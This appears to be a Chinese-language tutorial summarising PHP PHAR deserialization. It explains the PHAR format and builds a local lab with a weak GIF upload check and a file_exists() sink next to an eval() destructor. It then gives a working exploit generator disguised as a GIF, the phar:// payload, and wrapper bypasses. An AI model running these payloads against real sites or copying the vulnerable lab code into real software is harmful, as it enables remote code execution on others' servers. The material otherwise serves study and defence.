PHAR反序列化总结
PHAR是什么
PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。简单来讲phar就是一种文件格式
PHAR文件结构
phar既然是一种文件格式,那么就会有特定的文件结构
主要分为3-4个部分:
1.a stub
stub的基本结构:xxx<?php xxx;__HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件
2.a manifest describing the contents
Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存,这里就是漏洞利用的关键点
3.the files contents
被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化
4.a signature for verifying Phar integrity
签名格式
我们自己来生成一个phar文件来自己看一看
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='hu3sky';//创建data变量并赋值
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
这里生成失败了,查了一下是要关掉php.ini中的配置
这里phar.readonly的On改成Off
然后就生成了phar.phar
用winhex打开发现里面的meta-data被序列化了,所以要读取phar文件就会有一个反序列化的过程
那么有序列化就一定有反序列化的过程,下面的几个函数都支持phar协议,也就是反序列化的过程:
我们来测试一下反序列化的过程,源代码如下,加了一个输出
<?php
class TestObject{
function __destruct()
{
echo $this -> data;
}
}
include('phar://phar.phar');
?>
可以看到,反序列化成功了
环境测试
环境准备
upload_file.php,后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif
upload_file.html 文件上传表单
file_un.php 存在file_exists(),并且存在__destruct()
利用条件
phar文件要能够上传到服务器端。
如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
文件内容
upload_file.php
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
upload_file.html
<body>
<form action="http://localhost/phar/upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
file_un.php
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);
实现过程
首先是根据file_un.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码
构造代码
<?php
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
自己在本地访问eval.php,会在当前目录生成phar.phar,然后修改后缀 gif
进行上传
然后利用file_un.php。
payload:filename=phar://upload_file/phar.gif
利用成功
后续补充
在看完P神的文章之后对phar有了新的认识,
fileinfo ,md5file,extractTo,pgsqlCopyFromFile,CopyToFile
也是可以反序列化的
当题目限制了不能以phar开头的时候可以使用
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt